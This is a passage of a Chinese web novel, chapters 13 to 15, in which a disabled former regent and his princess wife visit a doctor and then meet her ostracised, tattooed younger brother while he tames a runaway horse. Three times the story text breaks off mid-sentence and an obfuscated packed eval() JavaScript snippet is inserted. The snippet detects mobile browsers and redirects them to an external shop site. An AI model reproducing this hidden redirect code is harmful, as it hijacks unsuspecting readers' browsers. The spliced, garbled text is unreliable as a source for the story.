曲大夫颔首,神色却凝重:“能治,不过眼下治不得,他心脉脏腑的内伤比腿上的外伤更紧要,与腿伤一样,皆是外合内溃,那两处可是性命攸关,拖了这两年,期间损耗已令他虚不受补,经不起重新接骨续筋的大耗治法了。”
翠花闻言,声音更是带了颤意:“大夫,求您千万帮我们想想办法……我只有这一个相公,还想着与他白头偕老呢……”
曲大夫不再多言,敛袖执笔,沉吟书方。
他救死扶伤多年,见惯了病家亲属听闻噩耗,便如翠花这般仓皇失色,反倒是头回见裴怀彻这样的病人。
再怎么受罪,是人也总有三分求生欲,结果明明生死攸关的人是他,听闻如此诊断,竟眉头都没蹙半分,都不如方才被道破曾经会武时来得紧张……
写罢药方,曲大夫绕过裴怀彻,径直将方子与调理需知一并交到泫然若泣的翠花手中:“放宽心,尚有转圜之机,眼下需紧着他按时服药,仔细将养,每月复诊一次,待身子骨强健些,再议后续治法。”
翠花连连点头,随大夫娘子取了药,又千恩万谢后,方推着仍神情复杂,半晌默然不语的裴怀彻出了医馆。
医馆外马车静候,车夫也是个有眼力的,见公主与“淮爷”皆面色沉凝,心知有异,当即识趣地缄口,不再提今早离府前公主就同他交代好的行程,待一并上车帮翠花将轮椅安置妥当,便将马车稳稳驾至路旁,静候吩咐。
他自然不知,这二人虽然同样神情凝重,心中所虑,却是南辕北辙。
翠花心乱如麻,指尖在袖中微微发颤,纵然曲大夫说得笃定,道他尚且有救,可一念及若非他残余几分习武的底子,怕是都撑不到今日的“共享荣华”,心口便如被细密的针尖扎着,一阵阵抽着疼。
而一旁的裴怀彻,脑中亦转过千百个念头。
他正思忖要如何既不太推翻先前那个信口搪塞的说辞,又进一步为自己织就一个日后也滴水不漏的身世。
他并非不怕死,至少比起当初被她捡回时,他已对救得他性命的她生出了万般不舍。
只是过往经历使然,他比任何人都更早也更透彻地勘破了“生死有命”四字的道理。
因此才在听出曲大夫的言下之意是他性命可保之后,很难再去为那未曾发生的危殆空自焦灼。
暂且不论他摄政后曾有多少人欲将他杀之后快,数度亲征又经历过多少次生死一线,遥想他二皇兄的登基之路,也是踏尽了其余六位皇兄的尸骨。
而他虽因出身和年岁侥幸活命,却也在整个成长过程中如履薄冰。
某种程度上,他自称奴籍,曾为骑奴,倒也并非全然胡诌。
他的母妃确是奴籍出身,都不知生身父母是谁,幼时便随牛羊马匹一起,被西邦商队贩入中原。
后被边陲之地的节度官员买到府中,又因貌美善舞,被此官员当作新鲜玩意儿,在进京面圣时献予时年已近古稀的父皇解闷儿。
加之他的年纪又比他好些个后来早逝的皇侄小,儿时确也被他们呼来喝去,当作骑奴使唤。
思绪及此,裴怀彻眸光略沉,他深知凭空捏造出的谎言易露破绽,高明的假话需得在九分真里掺一分假。
秉承着这样计较的他将欲要诉说的“往事”在心底细细捋顺,神色方稍稍缓和,抬眸望向身侧的翠花。
不料他还未开口,便撞见自家小娘子那双总是盛着明媚笑意的美目此刻正低敛,红唇也抿得发白,都不待他开口,晶莹的泪珠便断了线的珠子一般,一颗接一颗无声地滚落。
先前在医馆,之后又当着车夫的面,她知道自己是不能哭的。
毕竟她已经是公主了,狄管家也好,车夫也罢,这些虽都是裴怀彻为她验证过的忠心之辈,她也需在他们面前强撑几分公主的体面。
此刻车厢内只余他们二人,那强压下的惊惧与心疼才再也抑制不住,只想在他面前,让眼泪流个痛快。
她仍不敢放声,只压抑地哽咽着,语带颤音:“相公,我是不是太傻了?原以为我救了你,让你以身相许是理所应当,结果却是差点害死你……从前是没钱请不起好大夫,没办法,可我明知你伤好后也一直身子弱,却直到被狄管家提醒,才想起该重新带你寻医……”
字字句句,皆绕着他的伤病,对他方才提及的“奴籍”过往,竟似浑不在意。
裴怀彻只觉暖流悄然漫过心田。
他想,他之前怎么能疑
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314717|197141||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
心她有了尊贵的公主身份后会变了心肠呢?
她还是个小村姑时,就未曾嫌弃他这个无法为家中提供劳力的残废丈夫,如今贵为公主,听闻他自陈所谓的不堪往事,亦无半分芥蒂,依旧泪眼朦胧地唤相公,盼着他康康健健的,早日名正言顺地成为她的驸马。
他轻叹一声,抬手,指腹温柔地拭去她颊边泪痕:“若非你当日捡我回去,我的命早就没了,若救下我的是旁人,也不会有今日随你入公主府,得遇良医医治的造化,怎么还会是你害了我?”
翠花却哭得更加难过,扯起他的衣袖,仰起泪痕斑驳的小脸:“相公,我还是怕……你抱抱我,好不好?”
这般软语央求,裴怀彻如何忍心拒绝?
见她已主动偎近,便展臂将人揽入怀中。
少女的身躯娇软温热,隔着两层衣料,也能叫他感受到那丰盈的曲线紧贴着他的胸膛,无疑是他最难以抗拒的蛊惑。
正心旌摇曳之际,又听她操着哭腔后的糯软嗓音,轻声说道:“相公啊,我傻,可我觉得你聪明得很,你若不想让我知道的事,怕是能瞒我一辈子,对不对?”
裴怀彻正低头欲吻她,闻得此言,心下微顿,察觉出些许异样。
然温香软玉在怀,她一只纤手还不安分地探入他衣襟,指尖在他胸前若有似无地画着圈……
霎时间,他脑中混沌一片,竟不假思索地低应了一声:“嗯。”
翠花趁机又道:“你同我说实话,你是不是早知自己的身子是什么情况?却像你那些不好的经历一样,只因你想瞒,便不肯告诉我?”
被她这般撩拨,裴怀彻几乎意乱情迷,下意识地又要应承,直至垂眸撞上她虽水光氤氲,却隐含执拗的目光,方如冷水浇头,骤然清醒几分,忙道:“嗯……没有……”
他顿了顿,在她灼灼的注视下无奈扯唇,又补充道:“真的,我只知身子确实没好全,可想的尽是这辈子或许只能如此拖累你了,故而平日或疼或病,才只要不是太严重,便不愿与你说。”
翠花在他胸前蹭了蹭,像是寻了个更舒服的位置,语气带着丝娇蛮:“好吧,量你也舍不得真让我当寡妇,这次信你,但咱们约法三章,往后无论哪里,有一点不舒服都要立刻告诉我,而且有些事我不问则已,如果问到了,你不想说可以拒绝回答,但不许再骗我!”
原来她并非不计较他先前在身份上说了谎,而是在这里等着他吗?
裴怀彻心下恍然,无奈之余,竟也生出些许欣慰来。
他家这小娘子哪里傻?方才分明接连用了美人计和暗度陈仓,连管教相公都能无师自通地用上兵法,还要多聪明?
没人喜欢被算计,裴怀彻偏偏爱极了她在他面前耍些小聪明的娇态。
男人修长的手指轻抬起她小巧的下颌,刚欲继续那个未尽的亲吻,车外却陡然传来一阵嘈杂。
翠花闻声一惊,一骨碌从他怀中钻出,探手掀开车帘望去:“外面怎么了?”
只见长街之上,行人纷纷惊慌走避,让出的道路中央,竟是一名红衣少年,背着一柄比他人矮些不多的玄铁重剑,正发足狂奔,追赶着一匹惊惶窜逃的半大马驹。
翠花从前在乡间只见过人骑马,马撂挑子追人,何曾见过这般“新鲜”的景象?
思及他们的马车已被车夫停在医馆门口的石狮旁,并无被冲撞的风险,她看热闹的心思便活络起来,又将车帘掀开些,扭头对裴怀彻道:“相公,你快看,这湘京果然是国都,什么奇事都有,那追马的人还戴着铜钱串成的面帘呢,是哪家戏班在演杂耍吗?”
裴怀彻的阅历比她广博许多,还曾为了克制西邦人更擅骑射的特质,深研过以步克骑的阵法,却也未曾见过有人徒追奔马的情形。
且不论此举意义何在,人凭双腿,可能快过骏马四蹄吗?
他顺着翠花所指望去,目光落在那追马少年身上,眸中惊诧不禁更盛几分。
少年背负的那柄重剑长约五尺,通体皆为玄铁打造,估量不下三十斤,纵然其所追马匹并非成年健马,又受街市所限不能全力奔驰,但其竟能身担这般负重追及至此,实在也得用天赋异禀来形容。
翠花看得津津有味,裴怀彻亦暗自沉吟,却是此时,车夫惊慌到变了调子的声音陡然响起:“公主,淮爷,您二位坐稳了,奴才得再往远处避一避……这,这是三殿下,那天生魔丸!”
14.第十四章
为了替翠花厘清这宫中需得戒备之人,裴怀彻几乎将公主府中所有曾与宫廷贵胄有过往来的人都探问了一遍。
而这位年岁尚小翠花近三岁的三殿下,虽并非需谨慎防范之辈,情况却着实相当特殊。
据狄管家所言,当今男后昔日为僧时并非半路出家,而是自幼被寺中住持收养的弃婴。
无需特意归戒,他是胎素素静,又天生佛缘深厚,于佛法方面悟性极高,未及弱冠,便因天资出众,被师父选中,随寺中高僧一同为女皇启建法会。
谁知正是此番登坛诵经之际,竟被一年前痛失原后的女皇一眼相中,强令还俗。
这事儿听来便颇有几分逆天而行的意味,而事实也果真如此。
三皇子这个他与女皇所生的第一个孩子,便疑似被降下了神罚。
寻常婴孩多在半岁左右萌牙,而三皇子不足满月,便已生出一齿,待到乳牙长全,竟还是一口野兽般的尖齿利牙,这般长至六岁,事情早已传遍湘京,街知巷闻。
城中百姓皆道,男后本是佛祖派下界修行的佛菩萨,本该目不视恶色,耳不听淫声,一世清净参禅,半步不离佛地,却被女皇强掳入红尘,破戒还俗,因而他们所育子嗣才生而堕魔道,三皇子这一口利齿正是夜叉鬼相,若不想法子化解,恐招亡国之祸。
所幸后得一隐世高人指点,以古法阴阳莲花绣刺其面,事态方得平息,不仅三皇子换完成牙后齿列渐渐归整,只余四颗虎牙尖利如故,他之下的四殿下和五殿下身上也没有再现出什么异象。
裴怀彻当时只是默默静听,并未多言。
他出身天家皇室,自幼见惯得位不正的皇兄假借各种鬼神天相粉饰权争,强调座下皇位确乃天授,实在难以将这番怪力乱神的说法归为天意。
更何况三皇子这般情形虽不多见,民间亦有些孩童生牙早亦或乳牙不齐,多数可待换牙后自然整齐,从未听过谁家劳师动众地搞什么刺面驱邪。
早在裴怀彻摄政时就听闻邻邦女皇治下的梁国以民为本,素来不信奉兴佛经道法以求天治的做法,这叫他如何相信,那些自己都听一耳便觉其中必有猫腻儿的事情,惯以明察善断著称的女皇,竟会真听信以上漏洞百出的流言,将自己十月怀胎的亲生骨肉视作魔丸?
既然如此,她非但不去惩处散播谣言之人,反顺其意为三皇子刺面,便十分耐人寻味了。
裴怀彻的目光掠出翠花掀起的车帘,只见那少年的铜钱面帘之下,果然有并蒂红莲纹自双耳后蔓延而出,直至侧颊。
与其说是因鬼相而刺了这红莲纹镇压邪祟,倒不如说正是这刺纹殷殷如血,莲瓣层叠诡艳,为那张本来清逸的少年面容平添了森然鬼气。
翠花听闻车夫说这竟是自己素未谋面的弟弟,惊诧之下不由盯过去细望,自然也瞧见了少年面帘之下难掩的红莲刺青,不解地低声惊问:“相公,你看他的脸……不论是渊国还是梁国,黥面不都是重刑吗,他怎么……”
裴怀彻若有所思地微蹙眉头,正思忖该与翠花说到几分,便听车夫急道:“公主,您快别看了,这三殿下邪性得很,不吉利,您与淮爷坐稳,奴才这就驱车避远些……”
话音未落,翠花忽地惊呼出声。
原来那马匹一路冲撞而来,道上青壮虽已纷纷走避,却有一提篮老妪惊惶间绊到裤脚,跌坐路心,眼看便要被踏在马蹄之下!
翠花吓得一把攥住裴怀彻的衣袖,声线发颤:“相公……”
裴怀彻的声音不容置疑,立时对车夫令道:“解下马铃,朝马头上一尺处掷去,尽量使马铃落于其马尾之后。”
车夫也被这突如其来的险象骇住,又因裴怀彻威势所慑,不及多问便迅即从前方马颈处解下马铃,可要掷时却犹豫——惊马距此尚有七八丈,还狂奔不定,他哪有把握扔得准?
千钧一发之际,竟是裴怀彻双手一撑,将自己生生掀下轮椅。
虽然双膝重重砸于车板令双腿碎骨处剧痛如裂,他情急之下却也顾不得疼痛,只奋力将废腿拖出车厢,扬臂夺过车夫手中马铃,振腕掷出。
裴怀彻曾是马背上的王爷,骑射功夫冠绝三军,曾开三石强弓,百步之外将敌将射于马下。
如今纵使断断续续地病了两年,气力远不比往昔,但这两年间他几乎全靠手臂支撑拐杖行走,臂腕劲道其实并未减去几分。
百步穿杨的准头和力道加持下,但闻铃音清越,马铃如流星破空,精准掠过距老妪已不足两丈的惊马额顶,又稳稳坠于其后蹄之下。
铃声果然引得马匹顿足一怔,警觉地拧身转向声来之处。
翠花松了半口气,慌忙也俯身出了车厢,欲上前搀扶裴怀彻:“相公,你怎么样?刚刚那一下摔得重不重?”
方才他双膝落地的那声闷响亦砸得她心尖跟着一颤,她思及曲大夫说过,她相公的腿伤本就没怎么养好,内里仍是筋断骨折的情况,都不敢想他这一摔该有多疼。
裴怀彻将手搭在她腕上,却只是摇头,目光仍凝注在那依旧惊惧的马驹和终于追至马旁的三皇子郦璟身上。
但见郦璟横持玄铁重剑,扎步沉腰,显然是欲以蛮力强行与惊马抗衡。
寻常人等自是不可能与马拼力的,但他既能负剑追马,想来气力方面定非常人,此刻面上亦无半分怯色,也似曾以此道为之,并且有一定的成功把握。
可不管怎么说,他此时这样做都是不明智的。
毕竟那马依然惊惶未定,他又四下无援,若一举不成,反易再激其狂性,伤及他自己和方才逃过一劫的老妪。
权衡之下,裴怀彻扬声冲这位他本不愿翠花与之有过多交集的妻弟道:“别用蛮力,去抓缰绳,引缰时切莫紧握,予它些周转余地,再自其右翼切入,化去冲势。”
郦璟虽不知暗中提点自己的是哪路高人,反应却极为迅捷。
他就地一滚,险险避开马蹄扬尘,随即身形如风,依着裴怀彻所言自右侧探手,一把攥住缰绳。
裴怀彻的判断没错,他果然蛮力惊人,一扯之下,竟将那匹惊马拽得踉跄偏转。
裴怀彻带兵多年,是极擅选锋的,往往只需一场演练,他便能自新兵中精准挑出有所长处的兵尖子,再依其禀赋点拨栽培,因而麾下精兵良将辈出。
此时见郦璟不仅身负相当霸道的力气,身法亦灵动天成,不禁心念微转,当即转换了既定的策略:“量力而行,试着跃上马背,若是能成,勿急于施压,待其气息稍平,再以掌心抚其颈后最高处。”
郦璟上马的身手倒比单纯角力生疏许多,好在两次试跃后,硬是凭借着出色的协调性翻身稳坐马背。
随后又依言轻抚马颈,不多时,竟当真令马蹄渐缓,原本狂躁的鼻息也趋于平和,片刻前还惊惶狂奔的烈马经此一番调[和谐]教,已在他掌下呈现出了颇有低首驯从意味的姿态。
约莫一炷香后,郦璟肩扛重剑,牵着那匹已收敛脾气的半大马驹,缓步走至翠花和裴怀彻所在的马车前。
车夫虽先前护主心切,敢对翠花暗指郦璟是“魔丸”,此刻却不得不顾及他的王爷身份,忙不迭下车跪拜:“草民拜见瑾王殿下。”
郦璟用眼风扫过车夫的衣着与马车的制式,心知车内之人必定是京中的某位显贵,所以并不意外自己会被对方的下人认出。
他抬手扶了扶那串摇曳的铜钱面帘,声音清朗:“免了,请你主家下车,方才既助本王擒马,本王总得当面谢过。”
他的话掷地有声,可半晌过去,车夫仍跪地不起,始终未转身请人。
做奴才的自然得优先听自家主子的令,更何况郦璟不得女皇宠爱,京中贵胄多避之不及又不是秘密,他们公主可是货真价实的金枝玉叶,千金贵体,岂容这生而不祥的“魔丸”随意冲撞?
郦璟似已习惯自己空有皇子和王爷的名号,却根本无人敬重,只低低嗤笑一声,反手将剑背好,朝车厢的方向抱拳一礼:“既不愿相见,本王也不勉强了,但今日之情,本王记下了,来日若有用的到本王的地方,直接找去瑾王府,定还你这个人情。”
他并不知晓,车内二人对他其实并没有多大的恶意。
翠花方才正心疼地检视裴怀彻膝盖处的伤势,一时没顾上
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323029|197141||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
回应他罢了。
而她虽因车夫那说了一半的“魔丸”言语,以及郦璟面上的红莲黥印对其生出几分忌惮,可这终归是她的同母弟弟,且言辞间也算礼数周全地向他们道了谢,她实在没办法将眼前少年视作什么不可接触的妖魔鬼怪。
至于裴怀彻,则因曾经带兵择将的经历,不觉间已对他生出了几分惜才之心。
他看出郦璟虽然身负长剑,却根本没有正规习过武艺,即便如此,却仍能凭借他三言两语的指点驯服烈马,足见是天生的先锋苗子,若得好生指点,明明可以成为战场上不可多得的奇袭登先良才。
只是他尚不明晰女皇厌弃这唯一一位皇子的真实缘由,因此不免一时权衡,拿不准该不该让翠花与之产生更多交集。
正垂眸沉吟间,他瞥见翠花轻抿的朱唇,到底一声轻叹。
他的小娘子是什么脾性,他再清楚不过。
她待人接物从来不是人云亦云之辈,莫说此时尚不知郦璟的“魔丸”之名从何而来,怕是即便日后知晓了,也不会愿意只因这些流言而疏远血脉至亲。
他瞧出她有心与弟弟相认,只恐她贸然行事,自己又不得不劳心费神地为她周全,遂温声道:“没关系的,不管三殿下是不是魔丸,日后也总是要照面的,借此机缘说上几句话,倒也妥当。”
翠花点点头,素手撩开车帘,见郦璟牵马将去,忙拔高声音道:“诶!弟……王爷且留步!”
郦璟闻声回首,面帘上的一双杏眸掠过讶异。
他先前只远远瞥见车辕上的裴怀彻和车夫,未及他完全驯服马匹细看,对方已然重新退回车内,此刻居然又听见一道清凌凌的女声唤他,倒教他微微一怔。
翠花亦在此时发现他铜钱流苏之上的眼睛与自己很像,皆承自母皇,这点与郦婵和郦媛都不同,那两姊妹全是鼻唇似母皇,眉眼却更像她们的父后。
而这件事,郦璟显然也微妙地察觉到了,他牵马回身,步履间带着几分探寻的踌躇,朝马车走近:“你是……”
话音未落,却有一声略显尖细的呼喊自街角传来:“王爷!奴才可算追着您了!奴才早说了那马逮不得,您偏不听!若是今日之事叫女皇陛下知晓了,怕是又要禁您的足……”
郦璟蹙眉,与翠花一同望向那个气喘吁吁奔来的少年。
来人年岁与郦璟相仿,生得容貌清秀,一双凤目透着机灵,此刻却鬓发散乱,脊背汗湿,模样颇为狼狈。
郦璟似是未曾料到他也能追至此处,便用左手挽缰,右手将重剑往肩头一扛,漫不经心地等他跑到自己跟前:“不是你说倾辞的爱马刚进京几日,就因为水土不服病死了吗,本王和她将近两年未见,想再亲自逮匹好的哄她开心,都不行吗?”
少年抹了把额汗,满面无奈:“您要送马,不能让奴才为您寻马贩子买吗,您偏得亲自到野外逮算怎么回事?”
郦璟不以为然:“买的与本王亲手逮的能一样吗?况且她父亲是大将军,家中兄弟姐妹皆行伍,市面上能买到的马对她来说有什么稀罕?”
少年愈发苦笑:“可您逮回来又不会驯,您也不能拿绳子捆了直接扔到桑三小姐家门口啊!尤其这还未及相送,已经又叫它跑了一回,算奴才求您了,赶紧随奴才出趟城,把这祖宗放了吧!”
郦璟轻哼:“不放,他是烈马我还是魔丸呢,它跑本王便逮,再跑本王再逮,多逮几次,还怕逮不服它?”
少年这才注意到那半大马驹此刻竟乖乖立在郦璟手边,不由一怔:“您……真又逮了它一次,您也是给奴才长见识了,家姐好歹是女皇陛下近前的武官,也没听说她手下有谁能徒手擒马,还接连擒成两次的……”
郦璟眉梢微扬,本有得色,却又想起方才相助之人正与眼前女子同车,不由轻咳一声,略不自在地道:“这回……倒也不算本王一人给它降伏的,那边那个女人,她车中还有个男人……”
他侧身引少年看向翠花,不料少年的目光触及翠花面容,却骇得骤然变色,慌忙伏地叩首,额触青砖:“二、二殿下恕罪!奴才万死……未能看顾好三殿下,惊扰凤驾!”
15.第十五章
翠花虽然已经渐渐适应了自己的公主身份,却始终难以坦然接受这般跪拜大礼,尤其是此刻无征无兆地被人一跪,总叫她觉得受之突兀,几乎每次都要被骇上一下。
她下意识地往后挪了挪脚步,还未定神,便听身后马车内传来裴怀彻清沉的嗓音:“此处临近街市,百姓众多,方才骚乱恐已惊动了不少人,想来不久便会有官差前来查问,不如就近寻一处清静的酒楼雅间,请三殿下过去移步慢谈。”
翠花被寻回湘京尚不足月,礼数上偶有疏漏在所难免。
何况今日之事追根究底是因郦璟而起,即便传入女皇耳中,也只会责怪郦璟这个她本就不甚喜爱的皇子,竟行事如此荒唐,将她好不容易找回的爱女卷入无端风波。
因而裴怀彻此言表面是为了翠花周全,实则更是在替郦璟考量,避免事态扩大,徒惹女皇降罪。
郦璟是否会对这番苦心心领神会尚未可知,但他身旁的小太监却是个明白人,见翠花当真依裴怀彻所言提议前往附近的朝沽楼,机灵的丹凤眼中顿时浮起一层薄而易见的感激之色。
朝沽楼在繁华的湘京城中并不算规模最气派的一等酒楼,却以环境清幽雅致见长,菜肴亦别有风味,依照翠花原本的打算,正是要带裴怀彻来此用午膳的。
眼下虽然经历了一番波折,竟还是阴差阳错地来了,不免让她心中生出几分宿命般的微妙感慨。
而待翠花他们的车架迁就着郦璟那二人一马的步速,行至酒楼门前,见翠花又自车中推出裴怀彻的轮椅,郦璟不由得面露诧色:“方才……是你出手助我拦下惊马?你是走不了路的?”
这实在怪不得他惊讶。
一来翠花是如今颇得圣宠的回朝公主,完全没有身旁站着下人,她却亲自动手为人推椅的道理。
二来他也看得真切,刚刚正是这坐着轮椅的男子振臂掷出马铃,才将那老妪从马蹄下救出,一个不良于行的人,居然有这等本事?
裴怀彻神色平静,不见半分窘迫,只微微颔首:“回王爷,草民双腿确有残疾,因此方才未能下车见礼,还望王爷恕罪。”
郦璟浑不在意地一摆手:“嗐,原是本王错怪你了,还以为你也同那些人一般,觉得多瞧我一眼就会折寿呢!罢了罢了,方才帮我擒马之恩,本王在此谢过。”
他这话说得无心,裴怀彻与翠花听在耳中,却心中各有滋味。
翠花见多了京中之人在未与裴怀彻深入接触前,皆对他的出身和腿疾有所轻蔑,此时见郦璟身为王爷,竟愿对裴怀彻这身有残疾的平民以礼相待,不由对这位初次谋面的弟弟生出了几分好感。
而裴怀彻亦有些唏嘘,那些天潢贵胄的嘴脸,他比翠花见识得更多。
莫说他如今只是公主房中的一介通房面首,便是他同样顶着王爷名号,还名义上是先皇胞弟时,他那些后来早夭的皇侄也没少将他当做奴仆使唤。
他自认识人清明,几番接触下来,已觉这被世人称作“魔丸”的少年王爷,心性其实出乎意料地纯善,甚至可以说,在这注定人心叵测的皇家堪称罕见。
这一点,在他们一行人入了酒楼雅间后,从郦璟对待随侍小太监的态度中亦可窥见。
那小太监虽始终恪守本分,样似恭敬地立于郦璟身后伺候,与他的言谈间却并无多少主仆间拘束。
先是出言提醒郦璟应将主位让与翠花,又在郦璟欲解下脸上的铜钱面帘时,直接伸手按住了他的动作。
小太监再次面露无奈,低声道:“王爷,您这红莲纹……恐惊吓了公主殿下,面帘还是莫要取下为好。”
郦璟虽语带不满,话音言辞却与其说是责怪小太监僭越,更像是沮丧抱怨:“本王就取下片刻,喝口水也不成吗?一旦在外就将本王管得这般严,搞得本王像那未出阁便不能以真面目示人的姑娘一样。”
小太监挨了埋怨,竟是先悄悄瞥了一眼翠花,见她面上并无不悦,才松了口气,压低嗓音道:“您这情形,他日即便有幸出了阁,怕也是不便以真容示人的。”
郦璟被他噎住,气恼地咬了咬牙:“你一天天的净埋汰本王,什么叫有幸出阁?本王与倾辞可是有娃娃亲的,母皇亲口所指!”
小太监叹了口气道:“王爷,这话您私下同奴才说笑便罢了,万不可在二殿下面前乱说,定娃娃亲那会儿您又没刺面,若女皇和桑将军仍有让你们结亲之意,去年您开府时便会重提这件事为您定下了,何至于反倒允了桑将军所请,让他家二小姐带着三小姐一同赴蜀地戍边?”
郦璟说不过他,索性自暴自弃地愤愤道:“总之你记着,若本王娶不到倾辞,你的安稳日子也到头了,反正除了这门亲事,这湘京也没什么东西再值得本王留恋了,到时就带你闯荡江湖做大侠去,倒也自在!”
小太监:“……”
许是小太监纠结的表情太喜感,那欲言又止的模样一下子逗乐了一旁的翠花。
见她忽然笑出声,郦璟困惑地望过来,翠花便托起腮,杏眼弯如新月:“三弟弟把面帘摘了吧,我可是打民间回来的,没那么不禁吓,一会儿还要用饭呢,既是我做东,哪有让你干看着我们吃的道理?”
一顿饭毕,同样与郦璟相处不错的翠花已经全然不介意他面上那看似狰狞的刺青了。
恰恰相反,在知晓了这红莲纹的来历后,她倒觉得自己这个弟弟也是个可怜人。
不过是幼年时乳牙不齐而已,可包括母皇在内,所有先入为主将他视为“魔丸”的人,竟无一愿意多等两年,待他换牙后再观端倪,便毅然在彼时年仅六岁的他脸上刻下了这比黥刑更严苛的红莲印记。
自此本来身份尊贵的天家皇子,就成了其他皇亲贵胄口中皆避之不及的存在,母皇父后不喜,姊妹疏远,连自幼与心仪女孩儿定下的姻缘,都成了一句无人再提的戏言……
回到府中,与弟弟初识的欢欣渐渐沉淀下去,翠花垂眸良久,在裴怀彻面前无意识地绞着衣角,似有千言万语哽在喉间。
面对裴怀彻,她向来是藏不住心事的,待他温声一问,便如倒豆子般将心中所想尽数倾吐。
她望着男人的眸中到底染了一丝沉重:“相公,如今我更加确定了,你会担心我情有可原,这个公主……确实没有那么好当。”
她过去只是隐约察觉到某些事情或许另有隐情,却从未想象过,背后真相竟能残酷至此。
直到今日亲眼见到郦璟面上刺目的红莲纹,又听闻他昔日的际遇,她才恍然惊觉,原来这金堆玉砌的荣华之下,亦是稍有不慎,便会跌下万丈深渊。
思绪飘转间,她不由还想起了裴怀彻告诉给她的那段为奴往事,心头为弟弟漾起的酸涩未褪,随即又泛起了密密匝匝的疼,尽数绕向身边这个总是言行从容的男人。
她轻轻握住他的手,怜惜地捧到自己膝上:“你能在湘京中游刃有余地与人周旋,也早就看透这一切都不简单……是不是过去,也吃过很多苦?”
裴怀彻任由她捧着的手上传来温软的触感,目光掠过她微蹙的眉尖,语气放得轻缓:“还好,我自小机灵,很少行差踏错惹人不快,若有人蓄意对我不利,也总能在他们发难前瞧出端倪,从未叫人拿住过把柄。”
他这话并非虚言,放眼他“贵为”煊王的二十八年,上有猜忌心深重的皇兄,下有颐指气使又虎视眈眈的皇侄们,可以说他成长的每一步都如同走于刀尖。
即便是皇兄临终托孤,命他摄政之时,亦不忘设下两位辅政大臣,意在令他们彼此牵制,只待小皇帝亲政之日,已然斗得三败俱伤。
这一路走来,若他有半分大意,大抵都不会只如郦璟那般,仅仅被刺面了事,只怕早已尸骨无存。
他不愿说得更多更深,惹她徒增忧虑,只温声安抚:“无妨,宫中之事说到底不过是权势之争,你既不求这些,只需记得谨言慎行,别无意间站错队挡了他人的路便好,我护得住你周全。”
翠花似懂非懂地点了点头,眼底忧色未散,语气却带上了几分娇嗔:“那你可得把身子养得好好的,不然怎么一直护着我?我不争别的,就想和你平平安安,白头到老。”
裴怀彻心头一暖,俯身印下那个自医馆出来便一直惦念的吻,唇边笑意清浅:“放心,我既应了以身相许报你的救命之恩,这条命就是你的,娘子不允,为夫不敢言死。”
翠花原是极易满足的性子,见他不仅情话恳切,更表明了会好生调养的态度,先前盘踞心头的郁结霎时散去了七八分,眉眼重新弯成了月牙。
暮色四合时,两人用过晚膳,翠花推起轮椅与他一起在院中散步消食。
晚风拂过廊下,带来丝丝凉意,她想起午间见到郦璟时的情形,便顺势转
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17331987|197141||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道去了库房。
她那弟弟虽名义上是王爷,府中却着实清简。
想来除了女皇赏赐寥寥,也因他那“魔丸”之名远播,京中权贵避之不及,人情往来自然寥寥,加之面上刺纹不便时常外出,自然也没机会搜罗什么珍奇玩物。
翠花便想从女皇的赏赐里挑几样他能喜欢的,补上一份见面礼。
她征询了裴怀彻的意思,他叫她但送无妨,毕竟女皇就算不喜郦璟,见她遭了郦璟“冲撞”仍不失长姐的体面,也只会认为她宽厚仁善,友爱兄弟,断不会怪罪她“以德报怨”。
其实回府这几日,她已粗略清点过库房,拣了些自己喜爱和日常所需的布置房间。
自然也往裴怀彻屋里送了不少,什么天青釉茶盏,紫檀木安神枕,蚕丝象牙席……可无论多精巧的物件送过去,他都只是神色淡淡地收下,态度与看待往日的麻枕草席并无二致,瞧不出半分欣喜偏爱。
她本来正低头挑选着,思及此处忽然抬起眼眸,望向轮椅上的人:“相公,你有什么特别喜欢的东西吗?吃的,用的,玩的都行。”
裴怀彻微微挑眉:“不是正在给三殿下挑礼物吗,怎么问起我来了?”
翠花顺手展开一张锦席,在他脚边的地上坐下,托着腮道:“三弟弟不也觉着你奇怪吗,吃什么都慢条斯理的,再好吃的东西摆在面前,都只是随便尝两口,说你们两个坐在一起,你比他还像个体统尊贵的王爷呢!”
裴怀彻:“……”
他一时默然,说到这里,他就不得不感慨郦璟当时歪打正着那一下的精准度。
以及女皇对这“魔丸”儿子也真不是一般的疏于教导,不仅文武方面都不像经由良师教导过的,待人接物的礼节上竟还不比只和宫中嬷嬷粗学了半个月的翠花,两杯温酒下肚,就全然不顾身后小太监几乎要使飞的眼色,什么话都能往外说。
郦璟都把王爷当成这样了,他还能不比他更像王爷吗?十年摄政,若连这样的王爷都比不过,渊国的江山怕是早被内忧外患打穿十几个来回了。
